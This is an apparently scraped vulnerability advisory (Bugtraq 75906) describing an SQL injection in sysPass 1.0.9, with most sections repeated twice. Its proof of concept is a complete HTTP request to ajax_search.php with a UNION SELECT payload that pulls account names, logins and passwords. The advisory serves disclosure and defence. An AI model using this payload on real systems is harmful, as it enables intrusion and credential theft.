sysPass 'getAccounts' Parameter SQL Injection Vulnerability
BID:75906
Info
sysPass 'getAccounts' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 75906 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 13 2015 12:00AM |
| Updated: | Jul 13 2015 12:00AM |
| Credit: | Daniele Salaris (SySS GmbH) |
| Vulnerable: |
cygnux.org sysPass 1.0.9 |
| Not Vulnerable: | |
Discussion
sysPass 'getAccounts' Parameter SQL Injection Vulnerability
sysPass is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
sysPass 1.0.9 and prior versions are vulnerable.
sysPass is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
sysPass 1.0.9 and prior versions are vulnerable.
Exploit / POC
sysPass 'getAccounts' Parameter SQL Injection Vulnerability
Attackers can exploit this issue using browser.
The following example request is available:
POST /sysPass-1.0.9/ajax/ajax_search.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.example.com/sysPass-1.0.9/index.php
Content-Length: 249
Cookie: PHPSESSID=<SESSIONID>
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
search=getAccounts') UNION ALL SELECT
NULL,NULL,account_name,account_login,account_pass,account_url,NULL,NULL,NULL,NULL,NULL from accounts --
&start=0&skey=1&sorder=1&sk=081bad3198bdb3cd29133befc57d60287541663b&is_ajax=1&customer=0&category=0&rpp=10
Attackers can exploit this issue using browser.
The following example request is available:
POST /sysPass-1.0.9/ajax/ajax_search.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.example.com/sysPass-1.0.9/index.php
Content-Length: 249
Cookie: PHPSESSID=<SESSIONID>
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
search=getAccounts') UNION ALL SELECT
NULL,NULL,account_name,account_login,account_pass,account_url,NULL,NULL,NULL,NULL,NULL from accounts --
&start=0&skey=1&sorder=1&sk=081bad3198bdb3cd29133befc57d60287541663b&is_ajax=1&customer=0&category=0&rpp=10
Solution / Fix
sysPass 'getAccounts' Parameter SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: http://.
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: http://.
References
sysPass 'getAccounts' Parameter SQL Injection Vulnerability
References:
References:
- sysPass Homepage (cygnux.org)
- Vendor Homepage (cygnux.org)
- [SYSS-2015-031] sysPass - SQL Injection (Seclists.org)